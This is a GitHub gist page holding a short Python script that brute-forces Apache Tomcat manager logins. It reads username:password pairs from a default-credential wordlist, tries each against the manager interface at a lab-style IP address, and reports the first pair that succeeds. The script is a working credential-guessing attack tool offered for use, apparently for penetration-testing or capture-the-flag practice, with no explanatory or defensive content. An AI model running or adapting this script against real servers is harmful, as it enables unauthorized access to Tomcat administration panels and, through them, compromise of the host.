Skip to content

Instantly share code, notes, and snippets.

@0x6b7966
Forked from egre55/tomcat_brute_force.py
Created November 8, 2019 06:59
Show Gist options
  • Save 0x6b7966/2917404efc02fa3e832eada748405bf1 to your computer and use it in GitHub Desktop.
Save 0x6b7966/2917404efc02fa3e832eada748405bf1 to your computer and use it in GitHub Desktop.
tomcat_brute_force
# author: @egre55
# script to automate the testing of common apache tomcat credentials
#!/usr/bin/env python
import sys
import requests
with open('tomcat-betterdefaultpasslist.txt') as f:
for line in f:
c = line.strip('\n').split(":")
r = requests.get('http://10.10.10.10:8080/manager/html', auth=(c[0], c[1]))
sys.stdout.write("\033[K")
sys.stdout.write(line.strip('\n') + '\r')
sys.stdout.flush()
if r.status_code == 200:
print "Found valid credentials \"" + line.strip('\n') + "\""
raise sys.exit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment